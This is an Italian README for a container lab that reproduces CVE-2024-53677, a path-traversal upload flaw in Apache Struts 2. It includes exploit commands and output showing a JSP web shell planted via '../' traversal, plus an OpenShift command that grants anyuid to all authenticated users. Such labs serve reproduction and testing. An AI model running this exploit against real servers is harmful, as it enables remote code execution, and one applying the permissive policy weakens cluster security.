
Ambiente vulnerabile e exploit per CVE-2024-53677
Questo repository fornisce un ambiente basato su container per riprodurre la vulnerabilità CVE-2024-53677 in Apache Struts 2. Questa vulnerabilità comporta il path traversal e consente l'esecuzione arbitraria di codice (RCE) attraverso la funzionalità di caricamento file in Struts 2.
L'ambiente può essere costruito ed eseguito utilizzando Podman. Segui questi passaggi per configurare l'applicazione:
git clone https://github.com/seanrickerd/CVE-2024-53677.git
cd CVE-2024-53677
podman build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
podman run -d -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677
Esecuzione dell'exploit:
pip install -r requirements.txt
python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files newshell.jsp --destination ../newshell.jsp
C'è un problema intermittente per cui il file viene caricato correttamente ma non è accessibile. Per aggirare questo problema, dovrai aggiungere un punto extra alla destinazione, quindi rieseguire il comando originale.
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination ../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: ../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/shell.jsp
[INFO] File not accessible. HTTP Status: 404
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination .../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: .../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/.../shell.jsp
[INFO] File not accessible. HTTP Status: 404
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination ../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: ../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/shell.jsp
[ALERT] File uploaded and accessible: http://localhost:8080/shell.jsp
La shell sarà accessibile tramite un browser all'indirizzo http://localhost:8080/shell.jsp
OpenShift è sicuro per impostazione predefinita, quindi dovrai prima consentire i container privilegiati:
oc adm policy add-scc-to-group anyuid system:authenticated
Se desideri costruire tu stesso il file immagine, dovrai anche aggiungere le seguenti righe al Dockerfile:
COPY --from=0 /usr/src/cve/target/upload-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml
Il seguente yaml creerà un namespace chiamato "vulnerables" e distribuirà il container vulnerabile come deployment con una replica di 1, un servizio e una route che ti consentirà di accedere al carico di lavoro vulnerabile.
Se hai costruito tu stesso l'immagine, dovrai modificare la posizione dell'immagine nel yaml per riflettere la posizione della tua immagine.
oc create -f ocp-struts.yaml
Puoi trovare la route in Networking->Routes.
